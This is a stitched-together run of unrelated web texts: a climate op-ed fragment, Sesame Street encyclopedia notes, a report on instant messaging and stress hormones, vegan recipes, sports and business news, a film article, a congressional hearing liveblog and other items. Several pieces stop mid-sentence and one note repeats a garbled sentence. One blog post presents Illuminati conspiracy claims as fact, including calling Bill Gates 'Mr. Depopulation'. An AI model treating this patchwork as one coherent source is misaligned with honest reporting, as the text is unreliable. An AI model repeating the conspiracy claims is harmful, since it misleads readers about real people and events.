The “100 by ’50” bill is the same pablum we always get from Democratic Party “leaders”. It’s a dead end that diverts us from the real work that needs to be done as we slide ever more swiftly towards oblivion.
What Will a Real Climate Action Plan Look Like?
We have to stop pretending that feeble climate proposals put forth by Democrats are acceptable. It’s time to propose and advance a real climate action plan instead. Here’s what that will look like.
First of all, a real climate action plan will actually be a plan. It will specify the emission reduction and carbon sequestration goals that need to be met (as opposed to weaker targets deemed politically practical), and it will spell out exactly how we will achieve those goals. The plan will explicitly identify, for example, which particular renewable energy technologies will be installed where and when. In-depth analyses will demonstrate that the plan will deliver the turn-around we need. (To see how existing renewables can replace fossil fuels and nuclear energy, visit The Solutions Project website, and hover the cursor |
show's producers were concerned that an hour-long show would not hold their audience's attention. At first, the show's "street scenes"—the action taking place on its set—consisted of character-driven interactions and were not written as ongoing stories. Instead, they consisted of individual, curriculum-based segments which were interrupted by "inserts" consisting of puppet sketches, short films, and animations. This structure allowed the producers to use a mixture of styles and characters, and to vary the show's pace. By season 20, research had shown that children were able to follow a story, and the street scenes, while still interspersed with other segments, became evolving storylines.[24][25] "We basically deconstructed the show. It's not a magazine format anymore. It's more like the Sesame hour. Children will be able to navigate through it easier." —Executive producer Arlene Sherman, speaking of the show's restructuring in 2002[26] Upon recommendations by child psychologists, the producers initially decided that the show's human actors and Muppets would not interact because they were concerned it would confuse young children.[27] When the CTW tested the appeal of the new show, they found that although children paid attention to the shows during the Muppet segments, their interest was lost during the "Street" segments.[28] The producers requested that Henson and his team create Muppets such as Big Bird and Oscar the Grouch to interact with the human actors, and the Street segments were re-shot.[29][30] Sesame Street's format remained intact until the 2000s, when the changing audience required that producers move to a more narrative format. In 1998, the popular "Elmo's World", a 15-minute-long segment hosted by the Muppet Elmo, was created.[31] Starting in 2014, during the show's 45th season, the producers introduced a half-hour version of the program. The new version, which originally complemented the full-hour series, and was both broadcast weekday afternoons and streamed on the Internet.[32] The half-hour version of the show became the standard with the 46th season.
Educational goals
Funding
As a result of Cooney's initial proposal in 1968, the Carnegie Institute awarded her an $1 million grant to create a new children's television program and establish the CTW,[3][5][47] renamed in June 2000 to Sesame Workshop (SW).[48] Cooney and Morrisett procured additional multimillion-dollar grants from the U.S. federal government, The Arthur Vining Davis Foundations, CPB, and the Ford Foundation.[3] Davis reported that Cooney and Morrisett decided that if they did not procure full funding from the beginning, they would drop the idea of producing the show.[49] As Lesser reported, funds gained from a combination of government agencies and private foundations protected them from the economic pressures experienced by commercial broadcast television networks, but created challenges in procuring future funding.[50] After Sesame Street's initial success, its producers began to think about its survival beyond its development and first season and decided to explore other funding sources. From the first season, they understood that the source of their funding, which they considered "seed" money, would need to be replaced.[51] The 1970s were marked by conflicts between the CTW and the federal government; in 1978, the U.S. Department of Education refused to deliver a $2 million check until the last day of CTW's fiscal year. As a result, the CTW decided to depend upon licensing arrangements with toy companies and other manufacturers, publishing, and international sales for their funding.[12] In 1998, the CTW accepted corporate sponsorship to raise funds for Sesame Street and other projects. For the first time, they allowed short advertisements by indoor playground manufacturer Discovery Zone, their first corporate sponsor, to air before and after each episode. Consumer advocate Ralph Nader, who had previously appeared on Sesame Street, called for a boycott of the show, saying that the CTW was "exploiting impressionable children".[6] While first-run episodes on HBO do not have underwriting due to its status as a pay-TV network, repeats on PBS continue to have corporate underwriting.
Production
Cast, crew and characters
Reception
See also
Notes
^ Season 44 (2013–2014) was the first time episodes were numbered in a seasonal order rather than the numerical and chronological fashion used since the show premiered. For example, episode 4401 means "the first episode of the 44th season", not "the 4401st episode" (it is in fact the 4328th episode). ^ See Gikow, p. 155, for a visual representation of the CTW model. ^ Sesame Street began filming at Unitel Studios on 57th Street, but relocated to Kaufman Astoria Studios in 1993, when the producers decided they needed more space (Gikow, pp. 206–207). Most of the first season was filmed at a studio near Broadway, but a strike forced their move to Teletape Studios. In the early days, the set was simple, consisting of four structures (Gikow, pp. 66–67). In 1982,began filming at Unitel Studios on 57th Street, but relocated to Kaufman Astoria Studios in 1993, when the producers decided they needed more space (Gikow, pp. 206–207). ^ [109] According to Edward Palmer and his colleague Shalom M. Fisch, these studies were responsible for securing funding for the show over the next several years. ^ See Gikow, pp. 284–285; "G" Is for Growing: Thirty Years of Research on Children and Sesame Street, pp. 147–230. ^ See Lesser, pp. 175–201 for his response to the early critics of Sesame Street.
References
Works citedInstant messages are ubiquitous and convenient, but something primal may be lost in translation.
When girls stressed by a test talked with their moms, stress hormones dropped and comfort hormones rose. When they used IM, nothing happened. By the study's neurophysiological measures, IM was barely different than not communicating at all.
"IM isn't really a substitute for in-person or over-the-phone interaction in terms of the hormones released," said anthropologist Leslie Seltzer of the University of Wisconsin, lead author of the new study. "People still need to interact the way we evolved to interact."
In earlier work, Seltzer's team showed that both phone conversations with mom and face-to-face talks triggered similar hormonal responses: A drop in cortisol, which is generally linked to stress, and a rise in oxytocin, which is linked to pleasure.
For the latest study, published in the January issue of Evolution and Human Behavior, they wanted to identify the source of that comforting. Maybe it's something mom says, in which case the medium of communication shouldn't matter at all – or maybe it's something in the sound of her voice.
"Would this still work if we took out the tone, if we took out the verbal cues, and all we had left over was the content of the message?" said Seltzer.
The researchers recruited 64 girls between the ages of 7 and 12, pre-screened to remove anyone with histories of extreme family difficulties or poor maternal relationships. The girls then underwent a standard routine for inducing stress in the laboratory: They were asked to solve difficult math problems in front of three unknown adults who watched them impassively.
After finishing, the girls were assigned to one of four groups. One didn't talk at all to their mothers. Another group talked by phone, another had a face-to-face conversation, and another communicated by instant message. The researchers then measured their cortisol and oxytocin levels, and compared them to pre-test measurements.
As expected, girls who heard their mother's voice, either in person or on the phone, were consoled. But among girls who used IM, hormone levels barely changed. Translated into words on a screen, mom's words seemingly lost their comforting power.
According to Seltzer, the results suggest that mom's voice – its tones and intonations and rhythms, known formally as prosodics – trigger soothing effects, rather than what she specifically says.
However, it's also possible that IM altered conversational dynamics. Maybe moms who heard their daughters' voices were better able to detect stress and respond to it. On a screen, "I'm fine" is a fairly one-dimensional statement. Heard aloud, it can convey something very different.
"It doesn't matter how many smiley faces you put in your IM. It's not going to have the same effect as talking in person," said Seltzer.
Image: Andrew/Flickr
Citation: "Instant messages vs. speech: hormones and why we still need to hear each other." By Leslie J. Seltzer, Ashley R. Prososki, Toni E. Ziegler, Seth D. Pollak. Evolution and Human Behavior, Volume 33, Issue 1, January 2012.In February, Matt Damon launched a campaign to raise awareness about the lack of clean water in third world countries. While this is an important and noble cause, an ad promoting it featuring Bono, Richard Branson and Olivia Wilde pretty much focuses on something else: Ridiculing Illuminati-related conspiracies. Why? Nobody really knows.
This video about clean water ends with billionaire Richard Branson yelling: “Illuminati assemble!”. What’s the relation? Dunno. Is this supposed to be funny? Well, I didn’t laugh. My right eye is slightly twitching, though.
In less than a two minutes, the ad manages to annoy me on a several levels. First, it is yet another example of celebrities trying to get some precious PR goodness by associating their “image” with some kind of good cause. Instead of like, shutting up and helping people on the low, they rather get in front of a camera and tell regular people: “Hey! I’m a celebrity and I’ve got money, look at how great I am because I care about this latest Hollywood good cause trendy thing… And you’re selfish jerk for not caring!”
Second, everyone probably went to the bathroom RIGHT AFTER shooting the video. Isn’t basing a celebrity campaign around an action nobody will ever actually accomplish just representative of the hypocrisy going on there? It’s like an indirect way of saying: “We’ll do absolutely nothing about this issue expect running our mouth and prove we’re better than others for caring”.
What’s however most mind boggling is that the celebs in the ad don’t seem to be concerned about water as much as they are about making fun of Illuminati “conspiracies” and, by ricochet, the millions of truth seekers around the world.
First, you have Bono making fun of Illuminati theories – the one whose NWO-friendly organizations are funded by Bill Gates (Mr. Depopulation) and George Soros (Mr. One World Government and One World Currency). This guy’s “entourage” is part of the Bilderberg group, the Council of Foreign Relations and other elitist branches of the Illuminati and HE’S making fun of the theories. Bono, nobody actually believes that the Illuminati is a bunch of celebrity douchebags meeting in secret. So why deform the truth to make it sound ridiculous?
Then you have Richard Branson who probably has enough money to fix the entire problem by himself but prefers to do lame jokes on YouTube for the lulz.
Then there’s Olivia Wilde who says that she’s an “android from the future” because, apparently, those who seek the truth about the world are also dumb enough to believe that she’s android from the future.
Here’s an idea: How about discussing the root of the water problem in Africa? Why not talk about the systematic exploitation and siphoning of every single resource out of Africa to profit colonial powers? The creation of fake African countries by colonial powers to keep an economic stronghold on them? The putting in place of corrupt puppet governments that do not build infrastructures for its people? The IMF imposing strict economic restrictions on these countries to help Bilderberg-backed multinational corporations? Yeah…no, that’s boring…and that goes against the interests of their “masters”. Yup, don’t want people to know that the ones making you feel bad about the problem are the ones who actually created it. Let’s make stupid Illuminati jokes instead.
I guess that the no-toilet strike suits well these celebrities…Because they’re full of crap.We all know how much the French love their butter, cream, and other animal ingredients, but that certainly does not mean French food can’t be deliciously veganized! French cuisine is considered by many to be the best in the world. If you want to sharpen your culinary skills, mastering a few French recipes is a great place to start. In this recipe roundup, we have vegan versions of eight classic French dishes. Give ’em a try and you’ll be on your way to that Michelin star in no time!
#1. Vegan Peaches And Cream Crepes
Get the recipe here.
#2. Vegan Croissants
My Latest Videos
Get the recipe here.
#3. Caramelized French Toast (Pain Perdu)
Get the recipe here.
#4. AQUAFABA CHOCOLATE MOUSSE
Get the recipe here.
#5. RATATOUILLE (CONFIT BYALDI)
Get the recipe here.
#6. FRENCH ONION & ROASTED GARLIC PÂTÉ
Get the recipe here.
#7. VEGAN SPINACH AND ARTICHOKE SOUFFLÉ
Get the recipe here.
#8. VEGAN FRENCH ONION SOUP
Get the recipe here.Young midfielder Brad Crouch won’t play again this season as the Club continues its cautious approach to his rehabilitation from a foot injury.
Crouch, 21, fractured his left foot in Adelaide’s final NAB Challenge game in March.
The 2013 Rising Star runner-up made a comeback in the SANFL in June, but was forced back onto the sidelines after experiencing a stress reaction in the same foot.
Head of Football David Noble said a conservative approach was the best course of action.
“Brad is a player of immense talent and given he is just 21, we have decided to take a long-term view with his foot and he won’t play again this year,” Noble said.
“Our Club’s medical team will work with other industry leading specialists to make sure he is ready and in good shape for the start of pre-season training.
“It is disappointing and frustrating for Brad but there is no doubt he has a lot of footy ahead of him.”Image caption Northwest merged with rival Delta in 2008
Northwest Airlines is to plead guilty and pay a $38m (£24m) fine for its role in fixing air-cargo prices, the US Department of Justice has said.
The department said as part of a plea deal Northwest would co-operate with an ongoing anti-trust investigation.
Northwest Airlines Cargo, which is no longer operating, conspired to fix air-cargo rates from July 2004 to February 2006, the department added.
Northwest was taken over by Delta Air Lines in a £1.7bn deal in October 2008.
Northwest has agreed to plead guilty to a single offence, said the DoJ.
So far a total of 16 airlines have pleaded guilty or agreed to do so in an ongoing investigation into price-fixing in air cargo, it added.
More than $1.6bn in criminal fines has been paid by airlines, and four executives have received prison sentences.Update on small children being mercilessly punished for, e.g., gnawing a pastry into a gun shape at school
Kevin at Lowering the Bar updates us on the Lego Gun Incident, wherein a six-year-old boy was punished for bringing a tiny, Lego-sized gun onto his Springfield, MA school-bus. The school initially demanded that the boy write a letter of apology and serve detention because the gun "caused quite a disturbance on the bus and that the children were traumatized." However, the same zero-tolerance-obssessed nutjobs at the school board also put CCTVs on their buses, and a review of the footage therefrom reveals that nothing bad actually happened. This has occasioned a small miracle in the form of the school board simply dropping the matter, rather than doubling down and, say, accusing the six-year-old of using a tiny, Lego-sized computer to hack into the CCTV and swap out the footage or similar.
However, Kevin goes on to note that a child in Baltimore continues to struggle with the permanent stain on his record caused by his taking bites out of a pastry until it was vaguely gun-shaped, thereby traumatising all the other students by exposing them to an approximate right-angle. This kid is having the book thrown at him:
"This is a student-specific matter," the spokesman said, in case anyone thought they had suspended every student in the district, "and our school system is not going to have any comment on it, except for this: This is a matter between the school, a student and his parents. It's not, and it should not be, fodder for a publicity stunt by an attorney who seems to believe that his young client's best interests are somehow served by trying this case in the media." News flash: this has been in the media since long before they ever had an attorney, and that is not their fault. The next step was said to be an appeal to the superintendent of schools, so the battle continues.
Lego Gun Incident Ends Better Than Pastry Gun IncidentThe Hottie and The Nottie (stylized as The Hottie & The Nottie) is a 2008 American romantic comedy film starring Paris Hilton, Joel David Moore, and Christine Lakin. Written by Heidi Ferrer and directed by Tom Putnam, the film began shooting in January 2007 and was released theatrically on February 8, 2008.
The film was a critical failure and box office bomb, and has been called one of the worst films of all time. Paris Hilton won the Golden Raspberry Award for Worst Actress, which was one of three "Razzies" she received at the 29th Golden Raspberry Awards.
Plot [ edit ]
Nate Cooper is unable to get it together with women. But he also cannot forget his first crush: The attractive Cristabel Abbott, from their time in elementary school. Nate sets out for the beaches of California and meets up with his geeky best friend Arno, whose mother has an unnatural amount of information about Cristabel, and perhaps an unusual relationship with her son.
Cristabel jogs on the beach every day with many suitors trying to catch her eye, including an albino stalker. But she's still single, and there is a reason: Cristabel is still best friends with the same short, unattractive brunette girl whom Nate also knew in elementary school, June Phigg.
Nate reintroduces himself to Cristabel and they hit it off. However, Cristabel refuses to go on a date with Nate unless June has a date as well. Nate sets out to find a boyfriend for June, but men recoil at the sight of her. One day at the Santa Monica Pier, Johann Wulrich, an attractive dentist who works as a part-time model, appears in their lives. He seems to want to do a makeover on June when he apparently sees her inner beauty. However, Nate believes that Johann is a threat to his shot for Cristabel, since Johann is almost perfect. Eventually, with June dating Johann, Cristabel finally begins dating Nate, per his original plan.
Over the next few weeks, as Nate and June become friends and she emerges from her cocoon, with her face and appearance transforming into that of an attractive woman whose beauty begins to compare with Cristabel, Nate slowly realizes that June may be the girl of his dreams. Nate tells this to Cristabel, who is happy for June. Nate then tries to find June, and finds her, telling her how he feels.
Cast [ edit ]
Reception [ edit ]
Box office [ edit ]
Opening on February 8, 2008, The Hottie and the Nottie grossed $9,000 on opening day,[4] and it went on to earn $27,696 on its opening weekend, each theater averaging $249.[5] The Houston Chronicle determined that, based on average ticket prices, this represented an average of 35 people per theatre on its opening weekend, or an average of five per showing.[6] In the end, the film grossed $1,596,232 worldwide,[7] making the film a gigantic financial disaster.
For its release in the United Kingdom, the film was advertised as "The Number One Film", with small print revealing its being number 1 on the Internet Movie Database's Bottom 100. The film opened at number 32 and grossed $34,231 in 28 theaters in the UK.
Critical response [ edit ]
The film received near-universally negative reviews from critics. Review aggregator website Rotten Tomatoes reported that 4% of critics gave the film positive reviews, based on 67 reviews, concluding that "The Hottie and the Nottie is a crass, predictable, and ineptly staged gross-out comedy that serves little purpose beyond existing as another monument to Paris Hilton's vanity."[8] Metacritic reported the film had an average score of 7 out of 100, based on 18 reviews — indicating "overwhelming dislike."[9]
IGN gave it a zero-star review, noting that the film "presents a problem because there are just no words to adequately express how clumsy, trite and deeply offensive it is from start to finish." Rolling Stone film critic Peter Travers gave the film a half-star rating, saying that the half-star was because "it takes guts (or gross dim-wittedness) [for Hilton] to appear on screen again after House of Wax."[10] Nathan Lee of The Village Voice called it "crass, shrill, disingenuous, tawdry, mean-spirited, vulgar, idiotic, boring, slapdash, half-assed, and very, very unfunny."[11] Online film critic James Berardinelli described the film's comedy as "about as funny as the anal rape scene in The War Zone".[12] Richard Roeper called the film "excruciatingly, painfully, horribly, terribly awful," and argued that "nobody in this movie really should have a career in movies". BBC reviewer Mark Kermode called it "a fascist eugenic tract...it's disgusting". Connie Ogle in the Miami Herald described The Hottie and the Nottie thus: "Imagine the worst movie you've ever seen. Got it? Now try to think of something worse. That something is this movie – wretched, embarrassing and a waste of the time and energy of everyone involved."[13] The British newspaper The People, reviewing The Hottie and the Nottie, called the film "the worst movie ever made".[14]
John Anderson of Newsday, while panning the film, was one of a handful of critics to see merit in it. He gave the film two out of four stars and concluded that "The Hottie and the Nottie is no worse in many ways than a lot of teen-centric comedies, which generally appeal to their audience through cruelty and vulgarity."
The film featured on several worst of 2008 lists, including that of The Times,[15] New York Post,[16] The Star-Ledger,[17] The Tart,[18] and Metromix.[19]
Awards and nominations [ edit ]
Home media [ edit ]
The Hottie and the Nottie was released on DVD on May 6, 2008. The DVD includes a production commentary, an actors' commentary, and two featurettes.
See also [ edit ]Google has been embroiled in controversy all week after an employee published a 3,300-word manifesto criticizing the company's diversity efforts.
The memo suggested women may lag behind men in top tech positions because women are less assertive and more neurotic. It ignited a fierce debate inside and outside the company. The author has since been fired.
But while Google (GOOGL) deals with one PR crisis over sexism and diversity, it faces allegations from a powerful body: the U.S. government.
The Department of Labor sued Google in January to get the company to turn over compensation data on its employees. The lawsuit was filed in the final days of the Obama administration.
A regional director at the Labor Department later testified that the agency found a "systemic" problem of Google underpaying women.
Google has said it "vehemently" disagrees with that conclusion and called it an "unfounded statement." The company says it has analyzed the data and found it has "no gender pay gap."
The government lawsuit, combined with the backlash to the engineer's memo, highlights the tremendous scrutiny Google is under.
Related: Engineer behind controversial manifesto is out at Google
It's not alone. The Labor Department has also gone after Oracle (ORCL) and Palantir for hiring discrimination and pay disparities. The Palantir case has since been settled. Google's case is ongoing.
The data request is part of an audit into Google's equal opportunity hiring practices, which is required because of the company's role as a federal contractor.
Google has argued the data request for job and salary histories could be a risk to employee privacy and would be too costly for the company. The Labor Department has taken particular issue with the latter point, stressing that Google is one of the most profitable businesses in the world.
"Google has announced with great public fanfare that it has a $150 million plan to address diversity issues," the department's Office of Federal Contract Compliance Programs (OFCCP) said in one court filing. "Given this spending, Google cannot now plead poverty."
Last month, a court handed Google a win by narrowing the scope of employee data the government can demand from the company for this case. That includes not pulling information from employees dating all the way back to Google's founding in 1998.
A judge ruled that the OFCCP should not engage in a "willy-nilly search anywhere and everywhere for practices that might be causing a disparity in the compensation data."
Related: Labor Department goes after big tech for discrimination
Eileen Naughton, Google's VP of people operations, wrote in a blog post after the decision that Google would "comply with the remainder of the order" once the decision becomes final.
The company will "provide the much more limited data set of information the judge approved, including the contact information for a smaller sample of up to 8,000 employees," she wrote.
A spokesperson for the Labor Department told CNN Tech on Wednesday that there is no change as of now in its investigation following the controversy over the memo.
The push to scrutinize these labor practices could also lessen as the Trump administration gets further along. Alexander Acosta was confirmed as Labor secretary in late April.
Even if the government moves on from the Google case, the company may still be fighting issues about pay.
One San Francisco lawyer, James Finberg, says his office has been contacted by about 70 female employees at Google in just the past few weeks with complaints about pay inequality, promotions and job assignments.
Finberg says he first became interested when reading through transcripts from the Labor Department investigation. He expects to file a lawsuit in the next few weeks.
Google declined to comment on Finberg and directed CNN Tech to Naughton's blog post.
-- CNN's Cheri Mossberg contributed to this report.Rapper 50 Cent has to show up in court to explain why he posted an Instagram of himself surrounded with cash just months after he filed for bankruptcy.
Curtis J. Jackson III, otherwise known as 50 Cent, made his name with the 2003 album “Get Rich or Die Trying.” He filed for bankruptcy in July, claiming that expensive lawsuits have dwindled his multi-million dollar fortune. But in the months since, he has repeatedly posted photos and videos on Instagram of large piles of cash, CNN reports.
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On Thursday, U.S. Bankruptcy Judge Ann M. Nevins ordered the rapper to appear in court, saying she was “concerned about allegations of nondisclosure or a lack of transparency in the case.” In court documents, creditors allege that the rapper failed to disclose property he owned, as well as payments he likely got from public performances. He owes approximately $30 million to various creditors.
50 Cent’s legal team says he will show up in court to address the complaints.
Write to Charlotte Alter at charlotte.alter@time.com.IRVING, Texas -- Defensive end Tyrone Crawford insists he knew it during the offseason, says there’s a videotaped interview of him predicting the Dallas Cowboys' defense would be good.
Defensive tackle Nick Hayden and Bruce Carter said he knew after the San Francisco game. Safety J.J. Wilcox said he wasn’t certain until the Cowboys' win over Seattle.
Until we see Crawford’s videotape, assume no one on this roster knew the Cowboys’ defense would morph from one of the NFL’s worst into a playoff-caliber unit. But it has.
Last year, the Cowboys allowed 415.3 yards per game; this year it ranks 19th at 355.1 yards per game.
“I knew in OTAs,” said Crawford, “because of the way we were working and the way we were flying around. I could see it in [Rod] Marinelli’s eyes. When you see him smiling, you know you’re doing good things because he’s on top of everything.”
The Cowboys’ defense is playing some of its best football of the season as they prepare to face Green Bay, which averaged 386.1 yards and a league-leading 30.4 points per game.
Here are 10 reasons the Cowboys’ defense is much better than it was last season:Paper Towns is going to be your new favorite movie. But you already knew that so why am I even boring you with that information? But it's what you don't know about the new film based on the book by John Green that will get you really excited about it. There is a cameo in the movie that will having you jumping for joy and loving life forever — seriously. MAJOR SPOILERS to follow, so please stop reading if you don't want to know this.
Am I exaggerating about this cameo? I don't think so. Because when I found out that none other than Ansel Elgort is in this film, I shrieked like a small child who just got a pony on Christmas.
Variety reports Ansel — who also appeared in another famous John Green film adaption, The Fault in Our Stars — has a brief cameo in Paper Towns. In the film, a group of teens are on a road trip and have to make a hurried stop at a convenience store to replenish their snackage. When they go to pay, none other than Ansel himself is the clerk working their counter. I am swooning right now.
Paper Towns director Jake Schreier confirmed the cameo to Variety and basically confirmed that I'm totally right to be completely psyched about it.
"If you're going to have a cameo like that, you've got to give it the weight it deserves," he said. "The gas station scene is one of my favorite scenes in the book, and one that I was most excited about filming. And given that, I felt like it was a great place to put a cameo like that....If you're going to do it, you've got to have a good reveal for the shot...You can't just cut to him."
Even John Green, the book's author, loved Ansel's cameo, noting the audience he watched the film with had a great reaction to the scene. "It's a great shot," he said.
Officially buying my ticket to see this film ASAP.Decided to make a new thread to keep this clean.
First order of business: did you notice that Darrell Issa said the Republicans had gotten answers from Rove himself, so he wouldn’t have to show before Congress? Well, Issa entered those answers into the Congressional Record and here they are. I’ll put up a post on them later–but the short version is the Republicans are now actively conspiring with Rove to allow him to evade responsibility for his actions.
Here’s the live stream for the hearing.
And, as a reminder, Governor Siegelman will be joining us at FDL tomorrow at 12ET/9PT. I’m sure we’ll talk about contempt for Rove’s dodgy answers and about the fact that Michael Mukasey seems to think Bush’s invocation of Absolute Immunity was proper.
Gohmert: Raid of Congressman Jefferson’s office–to cleanse of protected or privileged documents. Do you have a firewall capacity?
MM: Yes.
Gohmert: Scalia thinks the Courts know nothing about security concerns. blah blah blah SCOTUS micro-managing the trials.
MM: Decision is the law of the land, and I am moving forward to treat it as the law of the land.
Artur Davis: Sanchez raised and I raised in phone call yesterday. Siegelman prosecution. Possible political influence. Not been raised publicly. As you perhaps know, emails that surfaced that suggested that various jurors engaged in misconduct, they had consulted the internet and other conduct that I think you would agree was improper. Motions filed urging new trial. Protracted dispute. Series of hearings back and forth. Govt took position that evidentiary hearing had to be very limited. In July of this year, Chief of Appellate division notified Defense Counsel that while District Judge Fuller was considering these motions, that District Judge had ex parte communication with US Marshall Service, had been instructed by USA office to conduct its own investigation. US Marshall service reached conclusion that emails were not valid. You were a district judge. Would there have been any circumstance where you would have allowed yourself to have ex parte conversation while you were considering motions.
MM: Facts somewhat differently. Jurist co-workers got copies before judge, turned them to Marshall, Marshall to USA, gave them to US Postal Service. Turned over to someone else. Postal service reached conclusions.
Davis: While the investigation was ongoing in April 2007, after the first evidentiary hearing, Representatives apprised Chief Judge Fuller and concluded that purported emails not authentic. Chief Judge did not solicit this report. They all touched on the underlying question of these emails. Would there have been any instance where you would have allowed yourself to have an ex parte communication from branch of govt while considering a motion.
MM: Don’t know the reason here.
Davis: Would it trouble you?
MM: It is important, let me finish. I don’t know what role those emails have in larger investigation on OPR. I may be called on if there’s a finding of misconduct, so I can’t offer opinions.
Davis: Narrow in on alleged facts. Very subject is whether those emails were authentic. What troubles me is the notion that the govt asked teh Marshal service, to conduct an investigation, didn’t share it with the Defense Counsel, shared it with the Judge.
MM: Don’t know the basis for those rulings. Enormously big presumption against undermining jury decision.
Davis: Another quick question. Disclosed this info on July 8 of this year. Do you know about the circumstances about which Stimler learned about these communications? Concern again would be this–One year after this ex parte communication, the Marshall service disclosed it to govt. Would raise questions about whether they’ve turned over all information. Frankly, it appears that the Marshall service may not have told Ms Stimler until very recently. Does it trouble you that Marshall service didn’t disclose contacts with Judge Fuller? Should Judge Fuller have disclosed that to Defense Counsel.
MM: Not going into Fuller’s decision.
Davis: Are we confident that Prosecution did not have conversations with Judge Fuller about conversations with Marshalls? Should the Department ask them?
MM: Await the OPR report.
Davis: Can we see OPR report?
MM: Absolutely. Congress was the complainant. Complainant always informed. If finding of misconduct, then you’ll get the report.
King: If practice to get automatic stay on immigration hearings?
MM: Depends on whether they have a good faith basis for asylum.
King: They’re going to seek to stay here, if they’re automatically granted a stay, that’d be a human nature response. Looking at caseload, one to put more resources in courts. Another is statutory perspective to narrow appeal.
Keith Ellison: Reports regarding FBI investigations and new policy that would allow them to take into consideration race and religion.
MM: New guidelines. Speculation about whether they would allow that practice. Guidelines that forbid predicating investigation on race, religion, exercise of First Amendment rights. Rationalize process going on since after 9/11 on recommendation of at least Robb Silberman and 9/11 Commissions. FBI becomes intelligence organization. One on how to open investigation. At times cross-cutting. Same behavior described in different ways. New guidelines will also make it apparent, growth of monitoring within FBI and National Security Division that FBI not doing that kind of profiling.
Ellison: What kind of input can members have?
MM: Will be briefed before go into effect. Will be signed by me. Guidelines, not statutes. Can be changed. Plan to sign them, then show them to Congress.
[Shorter MM: No input]
Ellison: Unindicted co-conspirators. Case in Dallas, Holy Land case, 300 people subjected to public derision, but no way to get off the list. In general, whether it’s appropriate to publish list of unindicted co-conspirators.
MM: Required to turn over to defense list of unindicted co-conspirators. That’s why they do it. Just as much pleadings as any other pleading.
Ellison: I’ve been involved in cases where unindicted co-conspirators not made generally available. Legitimate to put people on list where you never make claim as to what statements might make them unindicted co-conspirators. What are your views on that.
MM: AUSAs take very great care when they compile such lists.
Ellison: What about when they don’t? Shouldn’t there be a way to exonerate them?
MM: In the same way you can’t announce that someone’s not under investigation. My experience those lists are drawn carefully.
Ellison: Sometimes that careful process not followed. Should be some way to clean up mistakes. Watchlists, who get hospitality when they go to airports. We have gone overboard and we need to clean up these lists. Do you think it’s a problem?
MM: Seen reports. I know that airport screening process is not perfect. I’ve been stopped more than once. That said, there ought to be away of making sure the list is accurate. There ought to be a way of assuring that people who aren’t on list get off.
Ellison: We waste time on people who shouldn’t be on there. Work with you to make sure there’s a way to do this.
Trent Franks: |
Pty Ltd 2019Washington believes that Ukraine will root out corruption and total dependence of its economy from the oligarchs in 2016.
US Assistant Secretary of State Victoria Nuland said while speaking at a hearing in U.S. Congress, the Ukrinform’s own American correspondent reports.
"We continue to believe that 2016 can and should be the year when Ukraine will be set free from the unholy alliance of dirty money and dirty politics that has robbed Ukrainians for far too long," said Nuland.
She noted that U.S. and the IMF backing for Ukraine would depend on reshuffling the central government, breaking away from substantial influence of oligarchs on Ukraine, as well as of anti-corruption reforms, notably in the General Prosecutor's Office and the judicial system in general.
She said that given the current political instability neither the U.S. nor the IMF could continue to provide financial assistance to Ukraine, the Assistant Secretary of State for European and Eurasian Affairs stressed.
In connection with this, she noted that this situation will continue "until we are convinced who will be our partner on the other side of the negotiating table."
Nuland also said that delays in Ukraine reforms are directly affecting the security situation in the country as well as guarding peace in the region.A woman who died while riding a roller coaster at a Six Flags amusement park in North Texas fell from the ride, an Arlington police sergeant said Saturday.
Sgt. Christopher Cook told The Associated Press that police believe the woman fell Friday at Six Flags Over Texas in Arlington, and that there appears to have been no foul play.
Park spokeswoman Sharon Parker confirmed that a woman died while riding the Texas Giant roller coaster -- dubbed the tallest steel-hybrid coaster in the world -- but did not specify how she was killed.
Some witnesses said the woman who died wasn't properly secured.
"We are committed to determining the cause of this tragic accident and will utilize every resource throughout this process," Parker said in a statement Saturday. "It would be a disservice to the family to speculate regarding what transpired."
Cook, spokesman for the Arlington Police Department, said police, fire and emergency medical services responded to the park around 6:45 p.m. Friday in reference to a woman who had fallen from a train car while riding a roller coaster. He said the woman was pronounced dead at the scene.
He said the park and the Texas Department of Insurance, which approves amusement rides and ensures they are inspected, will be involved in further investigating the accident.
Carmen Brown told The Dallas Morning News that she was waiting in line to get on the Texas Giant when the accident happened and witnessed the woman being strapped in.
"She goes up like this. Then when it drops to come down, that's when it (the safety bar) released and she just tumbled," Brown, of Arlington, told the newspaper. "They didn't secure her right. One of the employees from the park -- one of the ladies -- she asked her to click her more than once, and they were like, `As long you heard it click, you're OK.' Everybody else is like, `Click, click, click.'
"Hers only clicked once. Hers was the only one that went down once, and she didn't feel safe, but they let her still get on the ride," Brown said.
Six Flags said the ride will be closed as the investigation continues, and a concert scheduled for Saturday was canceled.
The Texas Giant is 14 stories high, and has a drop of 79 degrees and a bank of 95 degrees. It can carry up to 24 riders. It first opened in 1990 as an all-wooden coaster but underwent a $10 million renovation to install steel-hybrid rails and reopened in 2011.
When the car that the woman had been riding in returned to the loading zone, two people got out and were visibly upset, Rockwell resident John Putman told the Fort Worth Star-Telegram.
"They were screaming, `My mom! My mom! Let us out, we need to go get her!"' Putman told the newspaper.
Also Friday, an Ohio amusement park's thrill ride malfunctioned when a boat accidentally rolled backward down a hill and flipped over in water, injuring all seven people on it. Operators stopped the Shoot the Rapids water ride after the accident, said officials with Cedar Point amusement park in Sandusky, Ohio.
Six Flags Over Texas opened in 1961 and was the first amusement park in the Six Flags system. It is 17 miles west of downtown Dallas. The park's first fatality happened in 1999. A 28-year-old Arkansas woman drowned and 10 other passengers were injured when a raft-like boat on the Roaring Rapids ride overturned in 2 to 3 feet of water.
There were 1,204 ride-related injuries reported in the United States in 2011 -- about 4.3 for every million visitors -- according to the National Safety Council's most recent data. Of those, 61 were deemed serious, the March 2013 report said, and roller coasters accounted for 405 injuries.
Fatalities were not listed in the report, which was prepared for Alexandria, Va.-based International Association of Amusement Parks and Attractions. Also, only 144 of the 383 amusement facilities with rides in the United States responded to the survey.
A 2005 report to the U.S. Consumer Product Safety Commission estimated just over four people died annually on amusement rides from 1987 to 2002. The estimate includes both mobile amusement park rides and fixed-site rides.
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Download our free apps for iPhone, iPad and Android devicesThe dim, obscure periodic comet 209P/LINEAR is about to pass close by Earth — and bring with it a trail of debris that could make for an exciting meteor shower during the predawn hours of Saturday May 24th for North America.
Update, morning of May 24th: Meteor watchers across North America who went out in the early morning hours report seeing few if any Camelopardalids. There was just a bit of shower activity, with only a handful of meteors seen per hour coming from the new radiant at best. For more details, see our first reports from amateur and professional observers.
